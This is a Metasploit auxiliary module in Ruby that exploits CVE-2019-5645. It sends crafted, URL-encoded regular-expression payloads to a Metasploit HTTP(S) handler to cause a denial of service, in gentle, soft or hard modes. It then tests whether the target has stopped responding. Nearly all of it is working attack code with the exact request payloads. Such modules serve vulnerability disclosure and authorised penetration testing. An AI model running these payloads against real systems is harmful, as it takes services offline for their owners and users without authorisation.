Metasploit HTTP(S) handler Denial of Service

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::HttpClient  
include Msf::Auxiliary::Dos  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Metasploit HTTP(S) handler DoS',  
'Description' => %q{  
This module exploits the Metasploit HTTP(S) handler by sending  
a specially crafted HTTP request that gets added as a resource handler.  
Resources (which come from the external connections) are evaluated as RegEx  
in the handler server. Specially crafted input can trigger Gentle, Soft and Hard DoS.  
  
Tested against Metasploit 5.0.20.  
},  
'Author' => [  
'Jose Garduno, Dreamlab Technologies AG', #Vulnerability Discovery, Metasploit module.  
'Angelo Seiler, Dreamlab Technologies AG', #Additional research, debugging.  
],  
'License' => MSF_LICENSE,  
'References' => [  
['CVE', '2019-5645']  
],  
'DisclosureDate' => '2019-09-04'  
))  
  
register_options(  
[  
OptEnum.new('DOSTYPE', [true, 'Type of DoS to trigger', 'HARD', %w[GENTLE SOFT HARD]])  
])  
end  
  
def test_service_unresponsive  
begin  
print_status('Testing for service unresponsiveness.')  
  
res = send_request_cgi({  
'uri' => '/' + Rex::Text.rand_text_alpha(8),  
'method' => 'GET'  
})  
  
if res.nil?  
print_good('SUCCESS, Service not responding.')  
else  
print_error('Service responded with a valid HTTP Response; Attack failed.')  
end  
rescue ::Rex::ConnectionRefused  
print_error('An unknown error occurred.')  
rescue ::Timeout::Error  
print_good('HTTP request timed out, most likely the ReDoS attack was successful.')  
end  
end  
  
  
def dos  
case datastore['DOSTYPE']  
when "HARD"  
resone = send_request_cgi(  
'method' => 'GET',  
'uri' => normalize_uri("/%2f%26%28%21%7c%23%2b%29%2b%40%32%30")  
)  
begin  
restwo = send_request_cgi(  
'method' => 'GET',  
'uri' => normalize_uri("/%26%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%21")  
)  
rescue ::Errno::EPIPE, ::Timeout::Error  
# Same exceptions the HttpClient mixin catches  
end  
test_service_unresponsive  
  
when "SOFT"  
resone = send_request_cgi(  
'method' => 'GET',  
'uri' => normalize_uri("/%5b20")  
)  
  
test_service_unresponsive  
  
when "GENTLE"  
resone = send_request_cgi(  
'method' => 'GET',  
'uri' => normalize_uri("/%2e%2a%7c%32%30%7c%5c")  
)  
  
sleep(1)  
  
restwo = send_request_cgi(  
'method' => 'GET',  
'uri' => normalize_uri("/whatever")  
)  
  
resthree = send_request_cgi(  
'method' => 'GET',  
'uri' => normalize_uri("/whatever2")  
)  
  
if resthree.body.length == 0  
print_good('SUCCESS, Service not responding.')  
else  
print_error('Service responded with a valid HTTP Response; Attack failed.')  
end  
  
else  
fail_with Failure::BadConfig, 'Invalid DOSTYPE selected'  
end  
  
print_status("DOS request sent")  
end  
  
def is_alive?  
begin  
connect  
rescue Rex::ConnectionRefused  
return false  
ensure  
disconnect  
end  
true  
end  
  
def run  
print_status("#{rhost}:#{rport} - Sending DoS packet...")  
dos  
end  
  
end  
`